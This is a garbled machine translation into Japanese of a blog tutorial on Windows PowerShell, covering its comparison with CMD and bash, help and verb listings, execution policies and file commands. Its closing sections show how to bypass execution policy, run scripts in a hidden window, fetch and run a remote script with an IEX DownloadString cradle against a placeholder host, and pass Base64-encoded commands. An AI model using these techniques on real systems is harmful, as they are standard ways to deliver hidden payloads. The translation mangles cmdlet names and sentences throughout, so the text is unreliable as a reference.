(2)Windows PowerShellの使用

 #PowerShellはどのようなものです:

Windows PowerShellは、コマンドラインユーザとスクリプト作成者は、.NET Frameworkののパワーを使用することができますことができますコマンドラインシェルおよびスクリプト環境です。PowerShellは、コマンドでプロンプトより高度なバージョン。次のようなタスクを実行するために使用されているping か、copy 外部プログラムと同様に、かつ自動的に実行することができないcmd.exe さまざまなシステム管理タスクへのアクセス。

 

CMD差のPowerShell:

パワーシェル プロンプトコマンド
これは、タスクベースのコマンドラインインターフェイスおよび.NET Frameworkの自動化に関連したスクリプト言語に基づいています。 これは、Microsoft Windowsオペレーティングシステムのデフォルトのコマンドラインインタプリタです。
これは、バッチおよびPowerShellのコマンドによって説明することができます。 それだけでバッチコマンドを説明することができます。
Windowsサーバーと自動化、およびWindowsオペレーティング・システム上のアプリケーションを制御するために使用されます。 問題のデバッグに使用することができます与えられたコマンドを実行するために、コンソール上で使用されています。
PowerShellは、出力文字列を生成し、オブジェクトのコレクションですされていません。 のみ生成された出力コマンドプロンプト文字列(テキスト)。
これは、Windowsオペレーティングシステムを管理するために使用される大きなファイルの作成をサポートしているシェルプログラムは、環境をスクリプトです。 これは、ユーザーがバッチファイルを実行するだけで、シンプルで基本的なスクリプトを実行することを可能にするだけでシェルのシステムです。

PowerShellは、bashのシェルと比較します。

パワーシェル バッシュシェル
PowerShellは、ほとんどのWindowsオペレーティングシステムおよび関連するコマンドシェルスクリプト言語です。 bashは、ほとんどのLinuxオペレーティングシステムのコマンドシェルプログラミングやスクリプト言語です。
PowerShellは、2006年に立ち上げました。 バッシュシェルは1989年に立ち上げました。
対象として、入力と出力のそれを。 それは、常にテキスト構造として、入力と出力を受け入れています。
ユーザインタフェースは、CLIインタフェースグラフィカルPowerShellコマンドラインです。 バッシュシェルユーザーインターフェイスは、テキストベースのコマンドラインインターフェイスです。
これは、Windowsの窓97以上のバージョンで実行することができます。 LinuxおよびUNIXオペレーティング・システムのための主要な準備。

 

第二に、どのようにPowerShellを開くには:

1、Windowsのの下部にある検索で、直接検索を開きます

 

図2に示すように、プレス勝利+ R入力開口のPowerShell

 

 3、コンピュータを開いて、ファイルの左上をクリックし、開いたPowerShellを見つけます

 

4は、あなたが、ファイルを開くShiftキーを押しながら+マウスの右ボタンとオープンPowerShellを選択する必要がパスに素早くPowerShellでファイルパスを開くことができます

 

 

 

三、PowerShellのよく使用するコマンド:

コマンドPowerShellでは、中に「N + V」の形をとります

取得-動詞:動詞を参照、取得するホスト:ヘルプ、バージョンを表示:1、ヘルプを参照してください

 

D PS:\研究> ヘルプ
トピック
のWindows PowerShellのヘルプシステム
の短い記述
のWindows PowerShellコマンドレットとの概念に関する表示ヘルプ。
詳細説明
    「Windows PowerShellのヘルプは、」Windows PowerShellのコマンドレット、説明
    機能、スクリプトやモジュールを、と説明し
    た言語とWindows PowerShellの他の要素の概念を。
    Windows PowerShellは、ヘルプファイルに含まれていませんが、あなたは、オンラインで見ることができます
    ヘルプトピックを、またはアップデートを使用する - Helpコマンドレットのヘルプファイルがダウンロードされます
    コンピューターにし、コマンドラインを取得使用 - ヘルプ表示するには、Helpコマンドレットを
    トピックを。
    また、アップデートを使用することができます - ダウンロードHelpコマンドレットサイト、それらに更新されたヘルプファイルをリリースしたときに
    、このように、ローカルのヘルプコンテンツは、スタイルの外に行くことは決してありません。
    ヘルプファイルがなければ、取得 - コマンドレットのヘルプ情報が表示されるのは、自動的に生成された
    ヘルパー関数やスクリプトを。

オンラインヘルプ
    あなたは、TechNetのライブラリで、Windows PowerShell用のオンラインヘルプ、見つけることができます
:HTTPで利用可能 //go.microsoft.com/fwlink/?LinkID=108518を
    オンラインヘルプのいずれかに関連するコマンドレットまたは関数を開くには、タイプ:
取得 -Help <コマンドレット名> - オンライン
 -より-

 

 
PS D:\研究> GET- ホスト


名:ConsoleHost 
バージョン: 5.1.17763.1007 
のInstanceId:b17b657c -366a-4efa-a95f- a4ba89884117 
UI:System.Management.Automation.Internal.Host.InternalHostUserInterface 
のCurrentCulture:ZH - CN 
CurrentUICultureの:ZH - CN 
PrivateData:Microsoft.PowerShell.ConsoleHost + ConsoleColorProxy 
DebuggerEnabled:
IsRunspacePushed:Falseの
実行空間:System.Management.Automation.Runspaces.LocalRunspace 



PS D:\研究 > GET- 動詞

動詞グループ
 ---- ----- 
一般的な追加
をクリアコモン
閉じる一般的な
コピーコモンが
共通の入力
を終了コモンが
共通の検索
フォーマットコモンが
共通の取得
を隠すコモンが
共通の参加
ロックコモンが
共通の移動
新しい共通
オープン共通
の最適化一般的な
ポップ共通の
プッシュコモン
やり直し共通の
削除を一般的な
名前の変更共通するのは、
共通のリセット
サイズ変更コモン 
検索コモン
選択コモン
セットの一般的な
ショーコモン
スキップコモン
分割コモン
ステップ共通の
スイッチ      共通
の取り消し共通
のロックを解除コモン
ウォッチ共通
バックアップデータ
チェックポイント・データは、
データの比較
圧縮データ
変換データ
ConvertFromデータ
をConvertToデータ
のマウント解除データ
の編集データが
データ展開
データのエクスポート
グループのデータ
のインポートデータ
の初期化データ
の制限データは、
データをマージ 
データをパブリッシュ 
マウントデータを
出力データは、
データの復元
保存データ
シンクデータ
非公開データ
更新データは、
ライフサイクル承認
アサートライフサイクル
の完全なライフサイクル
を確認ライフサイクルは、
ライフサイクル拒否
を無効にするライフサイクルは、
ライフサイクルが有効
ライフインストール
起動ライフサイクル
の登録ライフサイクル
のリクエストライフサイクル
を再起動ライフサイクル
再開ライフサイクル
・スタート・ライフサイクル・
ストップライフサイクルは
ライフサイクルが提出
ライフサスペンド
アンインストールライフサイクル
の登録を解除ライフサイクルを
ライフサイクルを待って 
デバッグ診断を
測定診断
Pingの診断
修理診断
診断解決
テスト診断
トレース診断
接続の通信
を切断コミュニケーションズ
読むコミュニケーションズは、
受信コミュニケーションが
コミュニケーション送る
書き込みコミュニケーションズ
ブロックセキュリティ
グラントセキュリティは
セキュリティ保護
取り消しセキュリティ
ブロックを解除するセキュリティ
プロテクト解除セキュリティ
の使用その他

 

 図2は、スクリプトの実行を禁止するPowershellの初期通常の状況下では、PowerShellのポリシーを設定します。スクリプトの実行戦略は、PowerShellのかどうかに依存します。

「制限付き」としてデフォルトの実行ポリシー。
  • ときに実行ポリシー際の制限:
    win8、win10制限のデフォルトのポリシーの施行。これは、単一のコマンドを許可しますが、スクリプトを実行しません。すべての実行中のスクリプトファイルを停止します。書式設定と設定ファイル(.ps1xml)、モジュールスクリプトファイル(.psm1)、およびWindows PowerShellプロファイル(.ps1という)を含みます。
  • 戦略を実行する場合AllSigned:
    スクリプトを実行することができます。ローカルコンピュータ上でスクリプトを含む信頼された発行元の署名により、そのすべてのスクリプトと構成ファイルが必要です。あなたは、特定の出版社スクリプトから実行されている(つまり、あなたの出版社が、まだ信頼できると分類または信頼されていないしていない)の前にプロンプ​​トが表示されます。そこに署名実行する危険性があるが、それは悪質なスクリプトです。
  • ときに実行ポリシーは、いつREMOTESIGNED:
    スクリプトを実行することができます。これは、(電子メールやインスタントメッセージングプログラムを含む)スクリプトと構成ファイルをダウンロードするには、インターネットから信頼された発行元のデジタル署名が必要です。これは、デジタル署名で(インターネットからダウンロードしていない)ローカルコンピュータ上でスクリプトを記述する必要はありません。スクリプトが(例えばブロックを解除-Fileコマンドレットを使用するなど)ブロック解除されている場合は、インターネットからダウンロードではなく、署名したスクリプトを実行します。符号なしのスクリプトは、インターネットの存在外から実行し、署名したが、それは悪意のあるスクリプトのリスクです。
  • UNRESTRICTED戦略を実行する場合:
    符号なしのスクリプトが実行することができます。(これは、悪意のあるスクリプトを実行している恐れがある。)スクリプトと構成ファイルを実行する前に、インターネットからダウンロードしたユーザーを思い出させます。
  • 戦略BYPASSを実行する場合:
    何かを停止し、任意の警告またはプロンプトなしではいけません。実行ポリシーを設定するためのものです(以下参照)したアプリケーションは、Windows PowerShell上に構築され、より大きな、またはWindows PowerShellは、独自のセキュリティモデルの基本的なプログラムであるです。
  • 戦略UNDEFINEDを実行する場合:
    現在のスコープは、実行ポリシーを設定されていません。すべてのスコープで実行ポリシーが定義されていない場合、効果的な実行ポリシーは既定の実行ポリシーで制限されています。
C PS:\ Users \ユーザーRIY> [System.Enum] :: によりgetNames([Microsoft.PowerShell.ExecutionPolicy])  表示スクリプトの実行ポリシー 
無制限
RemoteSigned 
AllSigned 
電話制限付き
デフォルト
バイパス
未定義
PS C:\ Users \ユーザーRIY > GET- ExecutionPolicy   #見ます現在のスクリプトの実行ポリシー 
電話制限付き
PS C:\ Users \ユーザーRIY >セット- ExecutionPolicy無制限の   #変更スクリプトの実行ポリシー、PowerShellを開くには、何の管理者権限がないためエラーが発生する 
設定 -ExecutionPolicyを:レジストリキー「HKEY_LOCAL_MACHINE \ SOFTWARE \マイクロソフト\ PowerShell用は\ 1 \ ShellIds \ 
のMicrosoft.PowerShell「アクセスが拒否されました。「管理するために、デフォルト(LOCALMACHINE)実行ポリシーの適用範囲、使用変更するには、
Windows PowerShellを起動するオプションの操作担当者に」。現在のユーザーの実行ポリシーを変更するには、実行しますセットExecutionPolicy 
 -Scope CurrentUserに
所在位置行: 1字符:1 
+セット- ExecutionPolicy無制限
 + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~
     + CategoryInfo:PermissionDenied:(:) [セット- ExecutionPolicy]、UnauthorizedAccess 
   例外
     + FullyQualifiedErrorId:System.UnauthorizedAccessException、Microsoft.PowerShell.Command 
   s.SetExecutionPolicyCommand
 

 

PowerShellを開くために#を使用する管理者権限 
PS Cを:\ WINDOWS \ SYSTEM32>セット- ExecutionPolicy未定義

実行ポリシー変更の
実行ポリシーは、あなたが信頼をないスクリプトを防ぐことができます。以下のようなセキュリティリスク、作成することができます実行ポリシーを変更します
:HTTPS /go.microsoft.com/fwlink/?LinkID=135170 about_Execution_Policiesの中に
ヘルプトピックを。あなたが実行ポリシーを変更しますか
[Y-]は(Y)である[A]フル(A)[N]いいえ(N)の(L)[S]一時停止(S)に[L]いいえ[?]ヘルプ(既定値"N")として、Y

 

3、ファイル操作、一般的に使用されるコマンド:

  • 新しいキーディレクトリ:新項目-Name「試験」-ItemType「ディレクトリ」
  • 新規ファイル:新項目-Name「test.txtの」
  • 削除ディレクトリやファイル:削除、項目のtest.txt
  • 表示テキスト:取得し、コンテンツのtest.txt
  • テキストを設定するにはSet-コンテンツのtest.txt -Value "こんにちは世界
  • 追加テキスト:アドインコンテンツのtest.txt -Value「愛の世界」
  • クリアテキスト:クリア - コンテンツのtest.txt
D PS:\研究>新項目-Name「テスト」 - itemTypeに「ディレクトリ」   #ディレクトリを作成

 
    ディレクトリをD:\スタディ


モードLastWriteTime長名
 ---- ------------- - ---- ----- 
D ----- 2020年3月28日午後12時24分                テスト


PSのD:\研究 >新アイテム- 名「test.txtの」   #は、ファイル作成

 
    ディレクトリをD:\研究


モード長名LastWriteTime
 ---- ------------- ------ ---- 
-a ---- 2020年3月28日夜12時24 0 test.txtの

PS D :\研究 > test.txtのセット内容- 値'Hello Worldの'   #は、テキスト設定 
PS D:\研究を> GET- コンテンツtest.txtという   #表示のテキストコンテンツ 
のHello World 
PS D:\研究 >アドオンコンテンツのtest.txt - 値'愛の世界   #のテキストを追加する。 
PS D:\研究 > GET- test.txtの内容
Hello Worldの
愛世界
PS D:\研究 > Clear- コンテンツのtest.txt   #クリアテキスト 
PS D:\研究 > GET- test.txtの内容
PS D:\研究 >テストリムーブ項目   #は、ファイルやディレクトリを削除

 

4、スクリプトを実行するためのローカル権限をバイパス

D PS:\研究> ' " Hello Worldの" '> Test.ps1 
PS D:\研究 > \ Test.ps1。
\ Test.ps1 :.ファイルDをロードできませんでした。このため、システム上の\研究\ test.ps1、スクリプトの実行禁止しています。詳細については、以下を参照してください
:HTTPS /go.microsoft.com/fwlink/?LinkID=135170をabout_Execution_Policiesに。
場所の行: 1つの文字:1 
+ \ Test.ps1。
 + ~~~~~~~~~~
     + CategoryInfo:例外SecurityError:(:) []、PSSecurityException
     + FullyQualifiedErrorId:UnauthorizedAccess
C:\ WINDOWS \ System32に>たpowershell.exe -ExecutionPolicyバイパス-ファイルtest.ps1 
のHello World

 

5、地方自治体バイパスにスクリプトを実行し、実装を隠し、唯一のスクリプトは、バックグラウンドを実行して見て

たpowershell.exe -WindowStyle隠さ-ExecutionPolicyバイパス-ファイル test.ps1

 

 

 

バイパス地元のダウンロードに6、PowerShellスクリプトと実行権限を

C:\ WINDOWS \ System32に>たpowershell.exe -ExecutionPolicyバイパス-WindowStyle隠し-noprofile -noni IEX(新オブジェクトNet.WebClient).DownloadString( 'のhttp:// XXXX / test.ps1')
のHello World

 

 

 

 PowerShellの7、Base64でエンコードされたコマンド

C:\ WINDOWS \ System32に>たpowershell.exe -EncodedCommand dwBoAG8AYQBtAGkACgA = 
ラップトップ -9r39s2hi \ RIY

 

おすすめ

転載: www.cnblogs.com/riyir/p/12585290.html